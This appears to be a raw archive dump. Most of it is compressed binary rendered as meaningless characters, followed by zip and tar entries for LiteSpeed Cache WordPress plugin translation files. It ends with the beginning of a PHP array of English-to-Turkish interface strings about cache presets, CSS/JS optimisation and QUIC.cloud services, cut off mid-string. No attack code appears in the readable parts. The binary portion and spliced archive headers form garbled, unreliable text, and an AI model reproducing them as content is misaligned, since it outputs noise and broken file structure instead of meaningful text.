�	m�Z�0���dL�.��x�֘P�&4�w��]��S�=��|�\�}!�g�.��lг�^�f���m��[Ř#Z�uz�-�-(�E�.��e�BFEɈ�D4�(sɗ�0��ԋ&sZI��/8
~�Y�+�Sg5��GV���%�>!W�y���~x5�W����7�b�_�'�t�K�óE��Q�R��W��� �٣W���Z�wZ҃'f�����Ȩ��/�K�Ј�M�E�[a�b3_7(��_�P6͜B(`��y'���L3������}�X�6�\Ŵ�;�/�ɻ��↉O��S+ΥOL��}>�P59ry�E�j�Ph �P>���Žz^��6׍N��++�f'��o:=�*�^{%IE.SuK�l���/L�{a��QhS���ސ\ߧ70��7��T&�΢����7b���+��
���jy/��Ak<G����c	�.]�i1��K�b�˨2^(fP���@Xus�N�l)"j�*���tg*�2)[c��䀹�3d�ʿ/S�-��V�]6��S��մ΄=�όGc�Ll[K�0�K,�+���?��HG��)�}Qy�'�Le՛�5S����4��}�ؙ^�Z���M9TGgg�ř��J��`���
s�C&��������C(�X�F�7�B�6����V�>-[[6��e%A�-$�T�� w�̤�;�
�ٵ]�m���z�~G�^J;Cp��X�N�f�K�$�4|�	3Tv[�v��h��d^��x����!ge$p��\50��q�Dl"�r�
�	�Ѱ���m��~0��`�XX
�1�j�-�����_�칒t��^����/�~ix�B�X�k/��a��@F񤄤�>c{�C#�U5��+��m"����}�*"H�b8n,�a��!��E9C���0L�vÏ��� &�c��q��N��A�|���%�O�MZr�s}Ćzv�$4*��Wg��U��eZr�9��B�����$���%P5����s�����=��1����d�ߍ�����>\jq!}�k���Z�Xe��lj�.g�U߁t�z�<Dw��WK@��o3�#;9����\�YZ@(Bk��+$���k$M?,P���e6�}��F��[���ԝ�P#t�o=��4f��p]���I�R���}�s˷�y�E>^	�/�t	�5���&
�dYՠ���M�C%�Zq=�m�Ȃ�ig���u7�#�[z�&���q�� ������`�ɉ���'�e���	4�5�9۸?q����(�`F|x�
�vl|��M��El%�)4��ɏ�9�a��sI尜5������6x��V`�u�D�Ѥ\*ɫF.��!�{��—\��L�p��|ݧ����gO��d��I}N��!�u�����2�>
��R)|�=�-�Q�S[�F
aJf�?��r>�Z��U���^�{��o͏D�{�~���@�����zU�?t|�/9dB����[�E��ݵIB&�DvD�$�+���**t��b?���	�ÿ�$�'E�0���+R��cR<x�A;�6����d�~o�i�CT�C��NM�$��DŽA��6��`� ^���h��˳G�h������ �ׯ�L�1�5��:�S��>�
16m��&���S#D�`|��OK���\�iiM��E-z����c�?�c��)���U9O�����Ņ����ok���Z�f����k-(�ĝ�D��yr�Eu�\�����Κ�	����]�86���h����l#?��[���Ê�3:��}����O�3�T�{ӝ�-���nE�7��cՑ��ި�K�pl�"�k1YBKհ��=,	��-
R%��)zBR��)D��׻�g�=����P���H�L��j�˨ILgnwHK�#/�RK"��;����V���E		���~�!�a�s�Y��?�E2MS�9�F�M&�8�&�h�J����d�B�J��\2�P�
���,c�,g]0�61�WuZ��2�HUo�e�I<��gJ�C�	��sP��g�;KB�����ʜ65b�ۘ{ﳭ�V��~հpI��4��h��ۺ;����4x�i��@�2��1�:9�k��7F[}�_}�z�g���C�E�}(nd�7m�����s*��ݸg�[K�+9�H�<w����쥤�!�.6tKp[D��$M��O|���qLh�6|t�BmA|B�}_�i��ߓ�G�,yr�����p1|�E��aO�G"�G���6|��/�LT�4��IAD[�1��4S��`z3.�
89��z:+�#!Ĺ��@����i�2��uw�£�������c�����=va�ns΍!3��\�25(�a�	����h�X���)�r}5�U����g$zX��;��d�xG�L�n����#��8�0�J�[�X�P�ݜI�;�Ռps+(h\�&��)�k��w��*O�T"�O_�oF��cj�|���a�а+
JV�ǁ�nk�j�l�PF7M(ME$�$j�%�
/'g���De��2��t��l��B��Z�j���St�$X;'�#Zv+:c�������H�Q1��
��TC�!��8��L ���ژ�>sW�$�Ѭ��8��e�w'�0�C�9ݭ�n��*2��%��n(�0��F�9���6�G���q��=O��X ��R&�U�ڳg,,\����x�H�8��Z�(�t���h��-yR���KB�Ձ(BP���hf�(�$SA�����I�S�w N2D�#+ޫ����ƞcy=3��R!>����gYF�߶J�#>�)y_���I���P�Inv �o��qRrz�tNT�<�>0���2
�~���:~��!u��v+�+�X��V��Y�>)�9;?�O��	����Y�P�c��w�(�-��˨�}����G�:bS��ޫ����P��^N:NG���f��C��ż��=���e%�d�����ק��	�m�[47��¤��|A��"��o=��}7a1Z�ظ�c���b��X,�8��2&�'��~m�@:}��k��/Z��cf��#5Lq3����)�	oI�����"n@,��I�i�Q,�m�,�����J�"�Cz$;<�vL���tiZG����*�7m��iŽ�PEr�ZT��Tն���F}1��'����q�j�~=$��G�9G�' ��G��Z4�r��z��&c��cg\/�}q���<�a�M?KS�
@�.$-�x�g�5�\\���#ʅۈWF5�@�����e�م�j���L2����	�nZ��������5�MI���+3<f��a��Kl�s�Y�!�����V��0���<`�'{3:��i�jcwD�&JU{5����QN�;vC��MڅL@e����	�;j�O��o
�a�v�6�˸��߹(�#Rz6�:��b���});q+���b��1����Ղ�\ɘX��Ɯ���HQS/ⴊy��$sH��4n\�#���j�� ��Tr8�D&"J�0&�~��`偛�W	ױ��u��$���!p<vh�	��{wGn>od+��:�x�KC7]����"�]Z�v�*�/��/��,ph�@����$�� �ܰT��H�.�y=u��>)�z��5b�/���N�:�{�E��86��Z�=;�e�lk�F�����,mz�yq�E���˛��on<�w�u��S,�YP�$�3B+G,��	�*�H?�
#��؈m���nQ�-��eY�6����.#Mp4$�������Λ`���4G��	vIy�ex�e�����Tz�F�yI�4<z�M�>'�vg!`���0�%H@��F��p0�n�:!̋9REa�:�5V�:w7I��O�&��̞�X ~xF*������j}���O��FI�c�u��|�	9�'r`��ހ�T�ұȤ��9�,���o��dn9��rA�K��^�>�Y�.�3�RJJO��dX7���3�=�d1's�WHf���b�[�I��]`�Ի�2u��wH�4�ΈX�
�۠�)�k�q'���_� �E�Z��.9�w�Q6;�"n�ԥ�|ld�[Y��@���a+$���;��Lve�Zs9�x!�����'�>q���_�ǔ�4��=��8
��jTd�$��3[7�C(
��Z���)�f��u%yM?�n�юR����֍W���Z(rT���Ŝ��ꀑ�K,�R?�:�����-'v.��3X��i�^��E���9�s$'��֑����{�A�hL���ɮ��$�^'�E������qQַ��<�]{��2�Kfn�MB���0B�	5�,XY
�펼�����O¤ȸ[�rV��S�����&�Q�pQK�
�{���!�1��`3����I���ܾ�C�h7P�wg>P.�����^*\o�v�VyU�u�F�L�����l@H��N+>1;��+����U��z�T�@�'3^�{kwF��-����f���s�8�01��4���怂/8q����7'��8�IA������,k`�_�։ Z��f^�4�B���"5/u�&�S�I�����Gp��q�@��X�6a��i'=#��=�L*� Mv�̫)�K5��{f񀨍��@0.:글�Y���b�7�볮����:�٣�\< �cs��"0�1��L>Y5��ot·��g2X��bD�3y*�ʼnb�� 
%C-|�<i�a��b�-9�K��x1n"M>�1��0��͏��=���1e����xװ�T<L�Ʃ�(��nh��	&Ɖ�70G{Yϧݢ>}�Y��/��=3Wxϰ��4��1��w����l��ĝu1����K���f��˿n�Nq�J��l�)}qO�7�eӒ��x'ܑg-�|�zq^<Ete/�V���"�Ig�l����R�g�H��#PS�Ο����U����܌����Sb�胻.�R��
O-kY��I;�vc4.ߍ=�_>0&f�LnȲ��뀋2�f�P'=|?y��@Jv̦	���h�r<�
s%N���$ɞ�%����A���m#�ټ��řtZ|�����]�����C�TF��Ή�	���I�)0 �~��&}Lx�T���V)�h���?'��&@`|Ev̤��m!`��Ɛq���e��i��S���n���W�v�@��#��tGmCy���/���IA(R�s'1�L�ꥪ���2,��	Gq򙕙1�Ϣ)wj�0���4�ltu���F.���xM-m��u���%_�s˓a�^o#7�K�����~a���.���ٹh秸@SD<���y�hT�^�옴P�M��i��X�0_�ܿ�ĥJ
��֪n2Ӥ�`C֥X�}kE��0<ɺs���Ji��j= xI�K�#���ާ
�D�R��~�|��V�=�2]�& r��<NR�/=�j��\3��8y��7�F����S(�dN�Hw���fP��=�����
�Ӷf����tY����S��*���VuD7�k�?�0ȝ��z�_�}/Ǿ��
e��0�w�s��?I����f4�����\���հ�-L~ӢxQ~_����\ۑ�J�"I�my}�z�V�$��˳�&,B@"����}ry|��H1�h�L�]�e�M�o!f �N8�`^�"jm���*o?�ms��㯉�~����:�b�*����«i(�Ǽ\���!���x�R=2q��C_��͕����ͪ�n�#�/�ŀ����&�XY�g�%<��T�����1�<p��tʢE\H��/ʨ;��M�Aj!6�l��'���:y�m��C�o��,��.v�i���o�>Brw$w�66��t�A~�H'�o��<���w�8���'柠�zJ �TɈd®���X^����dz����%�)c�~�$�d��3�|O
���b�"Q%{����
z3K���L:>M�xq�zA��U���l��b��$-;ڪ�����[s�][O�����q�z2����Z�6府�*fu��V[gB,$���(��D����d~�<U�L}�]T$�G�/��⯭�\
e/Zޒ�����>�A91N�[��_�q���n�����T_�LV�o�b��@mt�h2M9?^�I�f�6kP�
��<V���^*ٝk��a�БԶ�����D��8Ng�9��;�\~03�ק�:i�ly��w�;v�Yvl�%��\У��D������2GpgL=�T/�ԓ��ȃ�Y#C����o����H�-Q#k��:���z�g�j�+CC���F�ߛ�f�R:��ؓ#�xDE�sy�����4z��&{b/��'��u��q�'e�n}K�5='vS��e��,c�a��!V�1 'f�?���j��J������ҋy3u��i�3��P�	���|VQ�u����V�m�kG�mz�>�?⩒�|��0ɰ�D���i��L�7�O��n�����e~�6�Ǘql���?���Ξ���{�l��f��x�6q��=��~B�]zB�U2?6�xâ�w���Ηͽ۶u�O�{�ܥ�YDá�9]�Ң��rAZ�a�;vx&$\H�5�W�dapZ��H	�5���5����'��5��+�ȴa��]_'-�O��\��u;�d{����d��/��w��Y�In�fN�3
W�v��ݯ�����������JL�:1�|�d40,���c����l��!0BUP9A~
�����*�;��vȡ	1J��W��+��4A,��-A�ꏿ����ր�e߂<)�E�VY�XZ�������
/�������j�e`�>HJ[���/���
y5|'�W��Pq��A��x�=�ct�a��I����u�	���IGj��Ԫfu`F/�g��U�-�MY�W�J��n�i[���I����`uw��xI�S|U�����f�'˲��)�أ�`J{)�Գ�-�
��+��׋晔���=ǂQZ��N�A�t��`^��-��mgIDSlWش�7�'�I���B��8U����b\J��m�L�I��L9:�rr��WƯW�§�hM^O�Kv��j�%Ebழb��wW���8�t�E�*s�����vS��85뾹iK͙�I����l^�Z�ڇ�zU�$��
e�����J�vnj���cn?`m*����6W��D��Z�$�R�ڇ7�\���G��Ӯ��;�)�zD~�AF(&�z��w'�/vn�
�}��P��:"����4�U���P��.�Lu����OvE�,�
1R��| w�:Wm8*{nˬ�(�kb>7]>QY�}�seKgU�N5����U�U���ۖ.H-m�Ov�֙�
���o��e�*+�t���
�R��b=�`�)5-�8���.�>x��*��҂�=��'���L�	؅���
ƕ F�5�_Nhv-U:;R��"IV%	*��8H��g�B�'�|p?+S|�=�Uw�(J�7��JN�J����fO�����Y�S��9S}7�j�F��0�"�i��[��+9�A��������^���a��!�(h�E!1��ZݨH����$��}VnI�K%��OY�v�Dz�麑�3H'�5X�G�w-��5��hֲ����j�j���{����!K�p��Cy�PFH�ꕜ
�v�U9���Ry���d3��
�O ied�R&�[`�prI8I�Y��-*ʟ���n�D@��BM�N%;j"�F��v�]��Rr$=]���L
/Q��j���YL�[y��d����E[S�;���c���)��h���tf0�sS��ؔ��$�7�`eEpD��}v~A3�mLF柝)���G2�tD�E�!]�[�d�1�]���b9��;�ζ@s聦���˺���D��I1��X�r2�(k�6���}ר���I����9��J�X&[�[X�j�8e��(���D%�,�P��\#���dw����ds+��PO|'�x84Ǎ-߿G�&Gl���"G������'G��vL��G���G�{��+Ⱥ���e�?�KF���Ώ�g�ssT��a6�`[�h�y��ށ#诔4�R��k�Ƹ���R6`�2����_�k�,���%������
fÉBgrrmS��.��*����9/�	��vT5�M���ۅQ��W�����?v>�`�q�]
z��^�xXN���cGC'ڎ���in֖p�a�0z;9E\�w�:W�&}��>��7�,w|�Z	�w�����v�&���*l$���ő_*���y͔�(���m��٤�W�h0Y����n�il&�k�Ϯjψ�8�٫�hD|E|�"� �"v��,�������;GH�]���%�˪zl<e&�LO����R̾/����眀x����~Oʊ
5��E�Ta�w�j����"6I�]��ۮ�����'kv(�\���F�T#7���:Pl���i���rُ@�o�Ę�Y�#��n[��yd�F
Yd{*i��9�nc���b��h��U
Q֓E�d����7����_�TL���+5�CZ��)�������!&�˕�a$(lOv��Y�r䞫����X�U�B�	/eL����s��WP�����^��mg�C<F|J�&���L�w�?��7z�ngn���݀\��u*��B�\(�E�W#�zT(_7�.���B���_S�+S�)Lj��;#gB�r>�Gnn��8�(A��N#���V˦i���<}����ox`�_�}���??{���
I[���=j�A}�D{^�N��"Au��[����k�_��/3Jf���OQD%��F���i+��S���ﲟ���^�Q���V5#X��K�EE�eغ��Fz#-z����~~�[�u��j�L?��Ҁfߩ\(�'��Ů���7�Є���ijbb���U�>?�g9�U��nH�&���f�5!&����\�L�n�V�4�q�Ӽy��t?��ؓ3%�׳I�+b�M<�xn�9����guʹ���U}�it2�v�~7�X*��,��*6��K��Q��
��c�KW��TO�ٴp1Z� �����|���Pk����'�d�]���C���U�ך�C�~��������*��62P�6������D)�<f�\�}��me:������_�u�d$S?�?�-Q���R�h����z�\�>w���׈O��A
�}ht�?��t�p�cf�ϩE�6��(���׾�$:KF�}m�9��ӱ�z�i�(��{��|�wSx5�O�H\���Eg:��
�U�k@��k<�W��\,���	�귐3N�ž��'g�z�l����t%�x6��L���'�o|�
��ݢ�"�vC�b�Q���O��RK�NV��m�e������~�/��sM�m�:L���V����Wޡ�'��F���2��O�`��_��<���~��E��ay_�3pt�>�ڃo���w��z����v���cT��Č14��V��1��G�F���q =x/wn2AxƟ��{��y5�<(մ���^F�YȼV Yq�T7��Dܢz��jˏb��C���9��<���Uwɳ�30"YC�U�3��~v�v��x`����!�S��-���U9�T��"�~����j���z&z�ES+�*��gH��K�X��������?'�)xlV�ޚYd궨ʠeF�_�ϛe݆Ni� ��]@������H��,�H)��z�HI�_Ş�[�j� �H�`���I.r]��	�ٜav-]�!J�]�7١*Pp��0���*f�V��e�%ӟ��V�_tAΩ\��I0����9�t9�KnnMα�X�"��QH�wp�g�:\zF�S���җuZ<
�oy; �+��k���|H-�aBkf�
��`���b>�C����U+�Ҙ�.2�T7o��R�k�[p�?�<Kx�$pŷT���I#`���۬,���r,1��$J���M�G�
�P
���ﯜC��t�I��'�KU;�����'L�%����%O�p�tJ�����>�I�T��(���Q��ݓ�W8I���X��RZ��ӟ*O�D�0�S;祒?�oϩ�M���Ɔ�O\5kMEE��Tގm� X>��u��t��&O��+��?}���O�\��!�3x�5�8���1�v@���⛾�V'��\��\��dzf.�����<�R���d�,�����ON=I�6�e���H4HQ��
B�]M�'�%5H4�х�#�<�i�b��h˟����1)�F扶���
~Y�G���$m棢��L,��.|J��D��g>�=�$?k���9�=3!j���=�����.!��qݍ��yMJ�5Bo����Q��P���j9����N�;4HK��T34��E��������Z�J�Q��kܸ�az�j@�ɰ5R����&:!�N7Ĵ��nkhi�zf)��s4��6'J��.�Sc�9���H��*Eiƞgv��+�Q���oD೾�/#O��K�;Sʦ�)�o����l��jeU3���m�O���O�B7��mp�s���}ƠO��*��<	|9'q������7���[3G�aÞ��w?>ҧƚ�wp5���a��:V�Ȱ3C�X��L��!��f����?�lMS�Ss�U�LU0mg���{%T9P�Vrү��ႉ�֎XݩJG��b�1�蓝X��Y�!�Z��<^�6N���o
v1�����37���ȇ��:���%�VIw.($�闼�sJ-�g�z����>�
�*w���.��3���}~�ݛ;L��I���/t�1m�-���XPX*�IB�����.�O튌Pi��od�J
�&Ϗ�a�2�07)4~�4KI��D!���"�Ĩ�N��6�fdI�  �mÄ���td�S����E��Q���

*\|�4��x�jSf"n�	�ںS�	�X(9KU��fy�T\X�	>��Y���D)�9�B���4>=��P�"i�_ׁ;�[<����כ��3�M�g�「���:)@.��������eS:�aZ�Ȋ�Y��m�nX�:�U�%�fc�<�m�f!,��fO���[��6d�^��5sI�_�����Э#��ͅrl�E:t��u��Gƪ-�C^vd�j8�b_��ɢ��ϊ7f"_Ѐ:u�Ӄ
�P!��p<��2��r"��߀�Sd�"����������)흻�~�c��mP�Cub��n
]�T�
�QJjىY)Br��D�O�(z�ʅ�_�"��	^o"�
�Ր��u�}#{�PL�%��)\��a w��f=��3lUg���!��L(�QS^*%��y;Ӕ�һj�K-�Z�Ƶk��
��P}���p�2}]��p��)�Imn$��G}
���;艢z*5_,��Q�m�9��xgn�fX�u�&	��K��X�`�$p)�
#>Kso����Z��+}�)��8�����Z�O�:h6�э�sGܛ:-[���l_�=�Y�sA�����*ps��,��:�zLF�Qn�)�ذE%�(��[�3}��n �5�"IǛ�x��/�6�y�d�:㚖��*X��l��s3��"�O}�\��n�²=�ޔb؊}�zb���q�Y����7��iQ�B�R7U=����Ⱦm��
o��Վbk����G�--�Mُhntv�Z�iޗ1��~�m�]o3�J��BT�|X���0D�t�#cnb/�~��Y�{�bHs��|80q�Q0:X������M�d��,#��ݝ�x��XF��O��X\��63�9w0�z���$�6O��r�7�=8�������/p��s�!�����}�5R����s��u���j*����ȣ"jh��z&XI�-��ܒ�C8�ƚ�(=�B�����WyR\�-y��ѵ�@��7=U]:��I�Ffbw�;���w[Rڵq#�*vE�7���7i�\_ü�8��7�i2�M������d��C�YI��F/�A%8^��hC[ߔVE�J̛eRe��
@�����HXFV�]U�j�D�䀔���VQש�����/ipM�.&N'�{W��(6����IС_��n�g|����褲_��u�N���7�_g�Y���<���pR���6��1r|��Bk�a��㺳�3���Tpx�
k`�K5Ӎ�k!N���e�4�p�b��W���4p6FJ�=@��
+eD7��1f��Mb�%sT��^)�c ��k�fh����N�މ�]x&u~w��a�B,�c$�,T~�#��%���+Y�D�vб�>�ra��R�(Q@�֚9t�dg�E<���\�4�ꡰ��>*���r���r���ֿ�#����������Jq�9RW�VG	����=ڲƯ�ؑ�#%Ծ�w6�q��VW(��f�p����l�
���!˕��{h'�i�N&D�\��kA�]�Qi�< �+�VX�g�6�X�N����8Mv vO����>a���l�.�0���9�<r�%PɆY��
���E��bHN�YmX�0,e��K�9��
#�Cp�/jH���>����'Ϟ�Ο�=/޼~�kS�M�nM�ֳ!��~�������ϑq���o�w���߽�|���?�����Nv�'v'�s	�&JKD�t�HB}yV�~4��/W�X
ڕ�lz�W��d`N��Z�̸W1��Ji�7N���)�
�
�$ s��̍4ܿj."����g_;A3S��%�������W�O^��:6	žJ�U
��W����&�f5���p���^��I/�QseL~�̿�i;%�gT�JL.;eO�'��c"�A�q���0DMvI�d�
;$�?q{�?SC!b(=����%�
��m��+��|�h��$���H���걘���z��-��f���RK�`���m'�*��:�C�Z�Te>̺eӨ��P~3��߾�o�!�Nڡ�@��K��n�����iP�x�ԛS{�:="�c5���ɖ�DYC�u8ScR7��kq߰@J~�m�#�t���pXo���D
{M�U�̮��Y9�[F�~7�h����
��D'��iA�6�B�:\�a{^���8����s�9�r�"�)����k:��P�N��)$��r���nQ'A:/�����'r|Ө�Z+���=wWD�]*cyk�}��(�1QHz�i�=��Zn�0�Ǘ��6��D��h��D,J�˚]�{���/Ώ��d~%��U{+
Ly����5�|�k���[��ޣ�؈AwiQ�������-���d����A������$G�CƠ"���������?��Bl�i6��v�`� ��a�K˩YC8X���Y���-�%�����m����������V6#��d�M����-�I\��w��/�d=�A��k�'uR���%)�R�R�!Ao��I��.�m�j�5�khcDj2�ᑋ�Q����%�T���j����AN�k��-)���Xq�F:Ѳӵ�'M�G����U�! �|gפ�-�>��1�ra��g~t
m`ѵ�6�y�~pʭ#�i�3o���媻Y�f�&���W�����Wi�e���U�\�{v�Ci����姪�>Y_��^�Ƕ�}nr���k#��1���g+!���vZ�ڙ�j��C��;��?�7�sx�0��
�Ez˅�m<�6���x�p������F��-@i�q���_�J�������_��*��m7��~�uzY|�cFM���`��\�)aߺ�D�q��ph��j��J��ΤQ�ec��Dzŕ&a�ye,��K~�a�4ے��c�`�"Iq�0��i�C��I�"@���z�R���gڧǚ�Uc��)%Q����ʝ��kA��s�%Gh��
o�\p�3KX�RMD$�>9b &�FR�v7�G0�0��U���G��<�b��WC���/̐���Z�Y�~$L�؏���X�B�s��oʱ ��[YW�+�����PKΔ+[�B���=��litespeed-cache-pl_PL.poUT$�hux����PKΔ+[��Һ���_��-�litespeed-cache-pl_PL.moUT$�hux����PKΔ+[s��=��
��<�litespeed-cache-pl_PL.l10n.phpUT$�hux����PK |jlitespeed-wp-plugin/7.5.0.1/translations/litespeed-cache-tr_TR.l10n.php000064400000340716151031165260021335 0ustar00<?php
return ['x-generator'=>'GlotPress/4.0.1','translation-revision-date'=>'2024-08-03 09:29:27+0000','plural-forms'=>'nplurals=2; plural=n > 1;','project-id-version'=>'Plugins - LiteSpeed Cache - Stable (latest release)','language'=>'tr','messages'=>['When minifying HTML do not discard comments that match a specified pattern.'=>'HTML küçültürken belirli bir desenle eşleşen yorumları atma.','Specify an AJAX action in POST/GET and the number of seconds to cache that request, separated by a space.'=>'POST/GET olarka bir AJAX eylemi ve saniye cinsinden bu isteğin ne kadar süreyle ön belleğe alınacağını boşlukla ayırarak belirtin.','HTML Keep Comments'=>'HTML yorumları koru','AJAX Cache TTL'=>'AJAX Önbellek TTL\'i','You have images waiting to be pulled. Please wait for the automatic pull to complete, or pull them down manually now.'=>'Çekilmeyi bekleyen görselleriniz var. Otomatik çekimin tamamlanmasını bekleyin veya şimdi elle çekin.','Clean all orphaned post meta records'=>'Tüm artık posta meta kayıtlarını temizleyin','Orphaned Post Meta'=>'Sahipsiz Gönderi Metası','Best available WordPress performance'=>'Mevcut en iyi WordPress performansı','Clean orphaned post meta successfully.'=>'Sahipsiz posta metasını başarıyla temizleyin.','Last Pulled'=>'Son Çekilen','You can list the 3rd party vary cookies here.'=>'3. parti değişken çerezleri burada listeleyebilirsiniz.','Vary Cookies'=>'Farklılık Çerezleri','Preconnecting speeds up future loads from a given origin.'=>'Ön bağlantı, belirli bir kaynaktan gelecek yükleri hızlandırır.','If your theme does not use JS to update the mini cart, you must enable this option to display the correct cart contents.'=>'Temanız mini sepeti güncellemek için JS kullanmıyorsa, doğru sepet içeriğini görüntülemek için bu seçeneği etkinleştirmeniz gerekir.','Generate a separate vary cache copy for the mini cart when the cart is not empty.'=>'Sepet boş olmadığında mini sepet için ayrı bir değişken önbellek kopyası oluşturun.','Vary for Mini Cart'=>'Mini Araba için değişir','DNS Preconnect'=>'DNS Ön Bağlantısı','This setting is %1$s for certain qualifying requests due to %2$s!'=>'Bu ayar, %2$s nedeniyle belirli nitelikli talepler için %1$s\'dir!','Listed JS files or inline JS code will be delayed.'=>'Listelenen JS dosyaları veya satır içi JS kodları gecikecektir.','URL Search'=>'URL arama','JS Delayed Includes'=>'JS Gecikmeli İçerir','Your domain_key has been temporarily blocklisted to prevent abuse. You may contact support at QUIC.cloud to learn more.'=>'Alan adı anahtarınız kötüye kullanımı engellemek için geçici olarak engellendi. Daha fazla bilgi için QUIC.cloud destek ile iletişime geçebilirsiniz.','Cloud server refused the current request due to unpulled images. Please pull the images first.'=>'Bulut sunucusu çekilmemiş görseller nedeniyle talebi redetti. Lütfen önce görselleri çekin.','Current server load'=>'Şu anki sunucu yükü','Started async image optimization request'=>'Asenkron görüntü iyileştirme isteği başlatıldı','Started async crawling'=>'Asenkron tama başlatıldı','Saving option failed. IPv4 only for %s.'=>'Seçenek kaydedilemedi. IPv4 sadece %s için.','Cloud server refused the current request due to rate limiting. Please try again later.'=>'Bulut sunucusu, hız sınırlaması nedeniyle mevcut isteği reddetti. Lütfen daha sonra tekrar deneyin.','Maximum image post id'=>'Maksimum görüntü gönderi kimliği','Current image post id position'=>'Geçerli görsel gönderi kimliği konumu','Images ready to request'=>'İsteğe hazır görseller','Redetect'=>'Yeniden algıla','If you are using a %1$s socket, %2$s should be set to %3$s'=>'Bir %1$s soketi kullanıyorsanız, %2$s, %3$s olarak ayarlanmalıdır.','All QUIC.cloud service queues have been cleared.'=>'Tüm QUIC.cloud hizmet kuyrukları temizlendi.','Cache key must be integer or non-empty string, %s given.'=>'Önbellek anahtarı tamsayı veya boş olmayan bir metin olmalıdır, %s verildi.','Cache key must not be an empty string.'=>'Önbellek anahtarı boş bir metin olmamalıdır.','JS Deferred / Delayed Excludes'=>'JS Ertelenmiş / Gecikmeli Hariç Tutulanlar','The queue is processed asynchronously. It may take time.'=>'Kuyruk eşzamansız olarak işlenir. Bu biraz zaman alabilir.','In order to use QC services, need a real domain name, cannot use an IP.'=>'QC hizmetlerini kullanmak için gerçek bir alan adına ihtiyacınız var, IP kullanamazsınız.','Restore Settings'=>'Ayarları Geri Yükle','This will restore the backup settings created %1$s before applying the %2$s preset. Any changes made since then will be lost. Do you want to continue?'=>'Bu, %2$s ön ayarını uygulamadan önce %1$s tarafından yedeklenen eski ayarlarınızı geri yükleyecektir. O zamandan bu yana yapılan tüm değişiklikler kaybolacaktır. Devam etmek istiyor musun?','Backup created %1$s before applying the %2$s preset'=>'%2$s ön ayarı uygulanmadan önce %1$s yedek oluşturuldu.','Applied the %1$s preset %2$s'=>'%1$s ön ayarı %2$s uygulandı','Restored backup settings %1$s'=>'Yedeklenen eski %1$s ayarları geri getirildi','Error: Failed to apply the settings %1$s'=>'Hata: %1$s ayarları uygulanamadı','History'=>'Geçmiş','unknown'=>'bilinmeyen','Apply Preset'=>'Ön Ayarı Uygula','This will back up your current settings and replace them with the %1$s preset settings. Do you want to continue?'=>'Bu, mevcut ayarlarınızı yedekleyecek ve %1$s önceden ayarlanmış ayarlarla değiştirecektir. Devam etmek istiyor musun?','Who should use this preset?'=>'Bu ön ayarı kimler kullanmalı?','Use an official LiteSpeed-designed Preset to configure your site in one click. Try no-risk caching essentials, extreme optimization, or something in between.'=>'Sitenizi tek tıklamayla yapılandırmak için LiteSpeed tarafından tasarlanmış resmi bir Ön Ayar kullanın. Risksiz önbelleğe alma temellerini, aşırı optimizasyonu veya ikisinin arasındaki bir ön ayarı deneyin.','LiteSpeed Cache Standard Presets'=>'LiteSpeed Cache Standart Ön Ayarları','This preset almost certainly will require testing and exclusions for some CSS, JS and Lazy Loaded images. Pay special attention to logos, or HTML-based slider images.'=>'Bu ön ayar neredeyse kesinlikle bazı CSS, JS ve Gecikmeli Yüklenen Görseller için test ve istisnalar gerektirecektir. Logolara veya HTML tabanlı kaydırıcı (slider) görsellerine özellikle dikkat edin.','Inline CSS added to Combine'=>'Satır İçi CSS, Birleştir\'e eklendi','Inline JS added to Combine'=>'Satır İçi JS, Birleştir\'e eklendi','JS Delayed'=>'JS Gecikmeli','Viewport Image Generation'=>'Viewport Görsel Oluşturma','Lazy Load for Images'=>'Görseller için Gecikmeli Yükleme','Everything in Aggressive, Plus'=>'Agresif İçindeki Her Şey Dahil','Extreme'=>'Aşırı','This preset might work out of the box for some websites, but be sure to test! Some CSS or JS exclusions may be necessary in Page Optimization > Tuning.'=>'Bu ön ayar, bazı web siteleri için beklenenin dışında çalışabilir, ancak test ettiğinizden emin olun! Sayfa Optimizasyonu > Ayarlama\'da bazı CSS veya JS hariç tutmaları gerekli olabilir.','Lazy Load for Iframes'=>'Iframe\'ler için Gecikmeli Yükleme','Removed Unused CSS for Users'=>'Kullanıcılar için Kullanılmayan CSS Kaldırıldı','Asynchronous CSS Loading with Critical CSS'=>'Kritik CSS ile Eşzamansız CSS Yükleme','CSS & JS Combine'=>'CSS & JS Birleştirme','Everything in Advanced, Plus'=>'Gelişmiş İçindeki Her Şey Dahil','Aggressive'=>'Agresif','This preset is good for most websites, and is unlikely to cause conflicts. Any CSS or JS conflicts may be resolved with Page Optimization > Tuning tools.'=>'Bu ön ayar çoğu web sitesi için iyidir ve çakışmalara neden olma olasılığı düşüktür. Herhangi bir CSS veya JS çakışması durumunda, Sayfa Optimizasyonu > Ayarlama araçları ile çözülebilir.','Remove Query Strings from Static Files'=>'Statik Dosyalardan Sorgu Dizelerini Kaldır','DNS Prefetch for static files'=>'Statik dosyalar için DNS Prefetch','JS Defer for both external and inline JS'=>'Hem harici hem de satır içi JS için JS Erteleme','CSS, JS and HTML Minification'=>'CSS, JS ve HTML Küçültme','Guest Mode and Guest Optimization'=>'Konuk Modu ve Konuk Optimizasyonu','Everything in Basic, Plus'=>'Temel İçindeki Her Şey Dahil','Advanced (Recommended)'=>'Gelişmiş (Önerilen)','This low-risk preset introduces basic optimizations for speed and user experience. Appropriate for enthusiastic beginners.'=>'Bu düşük riskli ön ayar, hız ve kullanıcı deneyimi için temel optimizasyonları sunar. Hevesli yeni başlayanlar için uygundur.','Mobile Cache'=>'Mobil Önbellek','Everything in Essentials, Plus'=>'Basit İçindeki Her Şey Dahil','This no-risk preset is appropriate for all websites. Good for new users, simple websites, or cache-oriented development.'=>'Bu risksiz ön ayar, tüm web siteleri için uygundur. Yeni kullanıcılar, basit web siteleri veya önbelleğe dayalı geliştirmeler için uygundur.','Higher TTL'=>'Daha Yüksek TTL','Default Cache'=>'Varsayılan Önbellek','Essentials'=>'Basit','LiteSpeed Cache Configuration Presets'=>'LiteSpeed Cache Yapılandırma Ön Ayarları','Standard Presets'=>'Standart Ön Ayarlar','Listed CSS files will be excluded from UCSS and saved to inline.'=>'Listelenen CSS dosyaları UCSS\'den çıkarılacak ve satır içine kaydedilecektir.','UCSS Selector Allowlist'=>'UCSS Seçici İzin Listesi','Presets'=>'Ön Ayarlar','Partner Benefits Provided by'=>'Ortaklar Tarafından Sağlanan Faydalar','LiteSpeed Logs'=>'LiteSpeed Kayıtları','Crawler Log'=>'Tarayıcı Kayıtları','Purge Log'=>'Kayıtı Temizle','Prevent writing log entries that include listed strings.'=>'Listelenen dizeleri içeren günlük girişlerinin yazılmasını önleyin.','View Site Before Cache'=>'Önbellekten Önce Siteyi Görüntüle','View Site Before 